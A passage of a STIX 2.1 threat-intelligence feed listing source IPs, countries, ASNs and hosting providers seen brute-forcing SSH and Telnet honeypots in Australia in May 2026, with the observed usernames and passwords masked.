      "valid_until": "2026-06-18T19:15:08.000Z"
    },
    {
      "created": "2026-05-17T19:15:14.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 260. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: FR. ASN(s): 51167. Organisation(s): Contabo GmbH. Usernames observed (masked): r**t, 3**********4. Passwords observed (masked): 3***********4, 3**********4, 1*******C, 1****8, 2******r.",
      "id": "indicator--88ecf258-e9e1-410a-9ef9-1f38155979f4",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-17T19:15:14.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '173.212.228.191']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-17T19:15:14.000Z",
      "valid_until": "2026-06-18T19:15:08.000Z"
    },
    {
      "created": "2026-05-17T19:15:14.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 4016. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: NL. ASN(s): 51396. Organisation(s): Pfcloud UG (haftungsbeschrankt). Usernames observed (masked): r**t, a***n, d****y, u**r, d******r. Passwords observed (masked): 1****6, p******d, P******d, p******d, ***.",
      "id": "indicator--dfa25e3a-5125-4548-a555-f24a336a5f29",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-17T19:15:14.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '176.65.149.200']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-17T19:15:14.000Z",
      "valid_until": "2026-06-18T19:15:08.000Z"
    },
    {
      "created": "2026-05-17T19:15:14.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 294. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: RU. ASN(s): 8905. Organisation(s): Digit One LLC. Usernames observed (masked): r**t, 3**********4. Passwords observed (masked): 3***********4, 3**********4, 1*******C, 1****8, ***.",
      "id": "indicator--500df756-b4eb-4432-a05f-e1f905c15682",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-17T19:15:14.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '213.167.43.130']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-17T19:15:14.000Z",
      "valid_until": "2026-06-18T19:15:08.000Z"
    },
    {
      "created": "2026-05-17T19:15:14.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 260. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 132203. Organisation(s): Tencent Building, Kejizhongyi Avenue. Usernames observed (masked): r**t, 3**********4. Passwords observed (masked): 3***********4, 3**********4, 1*******C, 1****8, 2******r.",
      "id": "indicator--2a9333b5-1f9f-4941-86be-49a375018a13",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-17T19:15:14.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '43.135.177.217']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-17T19:15:14.000Z",
      "valid_until": "2026-06-18T19:15:08.000Z"
    },
    {
      "created": "2026-05-17T19:15:14.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 330. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 132203. Organisation(s): Tencent Building, Kejizhongyi Avenue. Usernames observed (masked): r**t, 3**********4. Passwords observed (masked): 3***********4, 3**********4, 1*******C, 1****8, 2******r.",
      "id": "indicator--ffaeecbf-f7b9-4600-8d8e-87a03298f8a1",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-17T19:15:14.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '43.153.100.210']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-17T19:15:14.000Z",
      "valid_until": "2026-06-18T19:15:08.000Z"
    },
    {
      "created": "2026-05-17T19:15:14.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 126. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 132203. Organisation(s): Tencent Building, Kejizhongyi Avenue. Usernames observed (masked): r**t. Passwords observed (masked): 1****8, a****3, a*******4, m****n, p*****n.",
      "id": "indicator--b6c19b5c-2cfc-43e6-b9ae-7149e0e89c35",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-17T19:15:14.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '43.166.242.149']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-17T19:15:14.000Z",
      "valid_until": "2026-06-18T19:15:08.000Z"
    },
    {
      "created": "2026-05-17T19:15:14.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 190. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: CY. ASN(s): 209847. Organisation(s): WorkTitans B.V.. Usernames observed (masked): r**t, 3**********4. Passwords observed (masked): 1*******C, 1****8, 2******r, 3***********4, 3**********4.",
      "id": "indicator--4a486d97-7f03-4836-b899-6e14a9fae0d0",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-17T19:15:14.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '85.208.110.83']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-17T19:15:14.000Z",
      "valid_until": "2026-06-18T19:15:08.000Z"
    },
    {
      "created": "2026-05-17T20:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 6. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: SC. ASN(s): 394695. Organisation(s): PDR. Usernames observed (masked): r**t. Passwords observed (masked): Q*******3.",
      "id": "indicator--e548de8c-d624-476f-a6e3-c6afb382e13f",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-17T20:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '103.211.218.124']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-17T20:15:10.000Z",
      "valid_until": "2026-06-18T20:15:08.000Z"
    },
    {
      "created": "2026-05-17T20:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 19. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: CN. ASN(s): 4837. Organisation(s): CHINA UNICOM China169 Backbone. Usernames observed (masked): r**t. Passwords observed (masked): c****s, d****n, u****u.",
      "id": "indicator--7305bc8c-31e8-4068-b744-ff08f505652c",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-17T20:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '116.255.155.36']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-17T20:15:10.000Z",
      "valid_until": "2026-06-18T20:15:08.000Z"
    },
    {
      "created": "2026-05-17T20:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 19. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: CN. ASN(s): 4837. Organisation(s): CHINA UNICOM China169 Backbone. Usernames observed (masked): r**t. Passwords observed (masked): c****s, d****n, u****u.",
      "id": "indicator--feff6fb0-8d0a-4c51-843e-ee533913f725",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-17T20:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '119.167.163.77']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-17T20:15:10.000Z",
      "valid_until": "2026-06-18T20:15:08.000Z"
    },
    {
      "created": "2026-05-17T20:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: UZ. ASN(s): 8193. Organisation(s): Uzbektelekom Joint Stock Company.",
      "id": "indicator--17403b6c-593b-4c09-98fd-431765361ea6",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-17T20:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '144.124.199.234']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-17T20:15:10.000Z",
      "valid_until": "2026-06-18T20:15:08.000Z"
    },
    {
      "created": "2026-05-17T20:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: PA. ASN(s): 18809. Organisation(s): Cable Onda.",
      "id": "indicator--e713556e-5052-4501-8203-07c5cc65b92f",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-17T20:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '186.188.213.195']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-17T20:15:10.000Z",
      "valid_until": "2026-06-18T20:15:08.000Z"
    },
    {
      "created": "2026-05-17T20:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: MX. ASN(s): 8151. Organisation(s): UNINET.",
      "id": "indicator--9c0a98d8-4ce7-4694-a15e-5bcd3fb3976c",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-17T20:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '189.145.61.213']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-17T20:15:10.000Z",
      "valid_until": "2026-06-18T20:15:08.000Z"
    },
    {
      "created": "2026-05-17T20:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 23470. Organisation(s): ReliableSite.Net LLC.",
      "id": "indicator--ec3d973d-2a57-4eec-ab77-5709c7e87318",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-17T20:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '199.127.60.2']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-17T20:15:10.000Z",
      "valid_until": "2026-06-18T20:15:08.000Z"
    },
    {
      "created": "2026-05-17T21:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 12. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: BD. ASN(s): 149636. Organisation(s): Hasan Broadband Net. Usernames observed (masked): 3**********4, r**t. Passwords observed (masked): 3**********4, w*******3.",
      "id": "indicator--558309c4-2ffa-42fe-9375-30a94aef23ab",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-17T21:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '103.183.62.0']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-17T21:15:10.000Z",
      "valid_until": "2026-06-18T21:15:08.000Z"
    },
    {
      "created": "2026-05-17T21:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 195. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: BD. ASN(s): 149636. Organisation(s): Hasan Broadband Net. Usernames observed (masked): r**t, 3**********4. Passwords observed (masked): 3***********4, 3**********4, 1*******q, 1**********3, 2**7.",
      "id": "indicator--77a5359f-9189-4e09-a7e7-60e5727f42b4",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-17T21:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '103.183.62.1']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-17T21:15:10.000Z",
      "valid_until": "2026-06-18T21:15:08.000Z"
    },
    {
      "created": "2026-05-17T21:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 128. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: BD. ASN(s): 149636. Organisation(s): Hasan Broadband Net. Usernames observed (masked): r**t. Passwords observed (masked): f******l, z****x.",
      "id": "indicator--6edff5f2-dcb1-4f42-976b-85387077ca7f",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-17T21:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '103.183.62.2']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-17T21:15:10.000Z",
      "valid_until": "2026-06-18T21:15:08.000Z"
    },
    {
      "created": "2026-05-17T21:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 64. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: BD. ASN(s): 149636. Organisation(s): Hasan Broadband Net. Usernames observed (masked): r**t. Passwords observed (masked): e***1.",
      "id": "indicator--b3fe45a1-62f3-4e6c-b3da-9d70198d4093",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-17T21:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '103.183.62.3']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-17T21:15:10.000Z",
      "valid_until": "2026-06-18T21:15:08.000Z"
    },
    {
      "created": "2026-05-17T21:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 260. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: SG. ASN(s): 132203. Organisation(s): Tencent Building, Kejizhongyi Avenue. Usernames observed (masked): r**t, 3**********4. Passwords observed (masked): 3***********4, 3**********4, 1*****a, 1******a, 1******d.",
      "id": "indicator--536481ed-a430-4532-a4d0-214bbcde8c09",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-17T21:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '124.156.205.51']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-17T21:15:10.000Z",
      "valid_until": "2026-06-18T21:15:08.000Z"
    },
    {
      "created": "2026-05-17T21:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 260. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 398101. Organisation(s): GoDaddy.com, LLC. Usernames observed (masked): r**t, 3**********4. Passwords observed (masked): 3***********4, 3**********4, 1*****a, 1******a, 1******d.",
      "id": "indicator--9bce036a-cbd6-48fa-8b34-9fb9f955466e",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-17T21:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '166.62.80.68']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-17T21:15:10.000Z",
      "valid_until": "2026-06-18T21:15:08.000Z"
    },
    {
      "created": "2026-05-17T21:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 190. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 132203. Organisation(s): Tencent Building, Kejizhongyi Avenue. Usernames observed (masked): r**t, 3**********4. Passwords observed (masked): 1**********c, 1*******c, 3***********4, 3**********4, 3***3.",
      "id": "indicator--89deda3e-7905-4d5a-8b7c-6d73376ec8d1",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-17T21:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '170.106.119.118']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-17T21:15:10.000Z",
      "valid_until": "2026-06-18T21:15:08.000Z"
    },
    {
      "created": "2026-05-17T21:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: PA. ASN(s): 18809. Organisation(s): Cable Onda.",
      "id": "indicator--45d0091f-afce-4425-b5e3-ef1ff01e36e7",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-17T21:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '200.75.234.35']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-17T21:15:10.000Z",
      "valid_until": "2026-06-18T21:15:08.000Z"
    },
    {
      "created": "2026-05-17T21:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 330. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: IN. ASN(s): 14061. Organisation(s): DigitalOcean, LLC. Usernames observed (masked): r**t, 3**********4. Passwords observed (masked): 3***********4, 3**********4, 1*******q, 1**********3, 2**7.",
      "id": "indicator--89761c1c-8889-49b0-8e62-256861e28ffd",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-17T21:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '206.189.140.52']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-17T21:15:10.000Z",
      "valid_until": "2026-06-18T21:15:08.000Z"
    },
    {
      "created": "2026-05-17T21:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 330. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 132203. Organisation(s): Tencent Building, Kejizhongyi Avenue. Usernames observed (masked): r**t, 3**********4. Passwords observed (masked): 3***********4, 3**********4, 1*****3, 1**0, Q*******3.",
      "id": "indicator--f409942c-75ac-4d5e-bd05-793480abe260",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-17T21:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '43.135.182.61']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-17T21:15:10.000Z",
      "valid_until": "2026-06-18T21:15:08.000Z"
    },
    {
      "created": "2026-05-17T21:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 260. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 132203. Organisation(s): Tencent Building, Kejizhongyi Avenue. Usernames observed (masked): r**t, 3**********4. Passwords observed (masked): 3***********4, 3**********4, 1*****a, 1******a, 1******d.",
      "id": "indicator--19eb1107-e612-41b8-8b25-c5611b23bead",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-17T21:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '43.153.32.106']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-17T21:15:10.000Z",
      "valid_until": "2026-06-18T21:15:08.000Z"
    },
    {
      "created": "2026-05-17T21:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 260. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: SG. ASN(s): 132203. Organisation(s): Tencent Building, Kejizhongyi Avenue. Usernames observed (masked): r**t, 3**********4. Passwords observed (masked): 3***********4, 3**********4, 1*******q, 1**********3, 2**7.",
      "id": "indicator--38d8a5b7-8c89-434b-baaf-7c33f60ffc07",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-17T21:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '43.156.240.243']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-17T21:15:10.000Z",
      "valid_until": "2026-06-18T21:15:08.000Z"
    },
    {
      "created": "2026-05-17T21:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: US. ASN(s): 22773. Organisation(s): Cox Communications Inc..",
      "id": "indicator--4f8750f9-e7ec-4321-afb6-dc99b1a0c759",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-17T21:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '70.182.78.81']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-17T21:15:10.000Z",
      "valid_until": "2026-06-18T21:15:08.000Z"
    },
    {
      "created": "2026-05-17T21:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: CA. ASN(s): 209334. Organisation(s): Modat B.V..",
      "id": "indicator--c94f60b0-0106-45ea-8797-b77d70aff7a2",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-17T21:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '85.217.149.29']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-17T21:15:10.000Z",
      "valid_until": "2026-06-18T21:15:08.000Z"
    },
    {
      "created": "2026-05-17T22:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 8. Sensors involved: Cowrie. Target ports: 23. Source country: MA. ASN(s): 36884. Organisation(s): MAROCCONNECT.",
      "id": "indicator--b2a516bf-870b-4e1a-82e5-20e883839acc",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-17T22:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '105.68.197.183']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-17T22:15:10.000Z",
      "valid_until": "2026-06-18T22:15:08.000Z"
    },
    {
      "created": "2026-05-17T22:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: PY. ASN(s): 23201. Organisation(s): Telecel S.A..",
      "id": "indicator--53695665-3488-4df1-9dcb-1ed3afce324a",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-17T22:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '181.121.129.109']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-17T22:15:10.000Z",
      "valid_until": "2026-06-18T22:15:08.000Z"
    },
    {
      "created": "2026-05-17T22:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: PK. ASN(s): 17557. Organisation(s): Pakistan Telecommunication Company Limited.",
      "id": "indicator--fd4c7fee-54dc-4835-9aa3-3577766badfa",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-17T22:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '182.176.84.191']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-17T22:15:10.000Z",
      "valid_until": "2026-06-18T22:15:08.000Z"
    },
    {
      "created": "2026-05-17T22:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: CN. ASN(s): 4134. Organisation(s): Chinanet.",
      "id": "indicator--2d969c5f-9554-46b1-aa71-57d1d02f52df",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-17T22:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '183.147.27.62']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-17T22:15:10.000Z",
      "valid_until": "2026-06-18T22:15:08.000Z"
    },
    {
      "created": "2026-05-17T22:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 248. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: MX. ASN(s): 22884. Organisation(s): TOTAL PLAY TELECOMUNICACIONES SA DE CV. Usernames observed (masked): r**t, 3**********4. Passwords observed (masked): 3***********4, 3**********4, !*******6, 1*****e, 1******h.",
      "id": "indicator--71590b08-96b4-41d8-bb66-50fa6e513b6c",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-17T22:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '186.96.151.198']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-17T22:15:10.000Z",
      "valid_until": "2026-06-18T22:15:08.000Z"
    },
    {
      "created": "2026-05-17T22:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: AR. ASN(s): 7303. Organisation(s): Telecom Argentina S.A..",
      "id": "indicator--ce0ad6b4-22e5-4ee7-b63a-eef1d13f7cb6",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-17T22:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '190.246.44.57']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
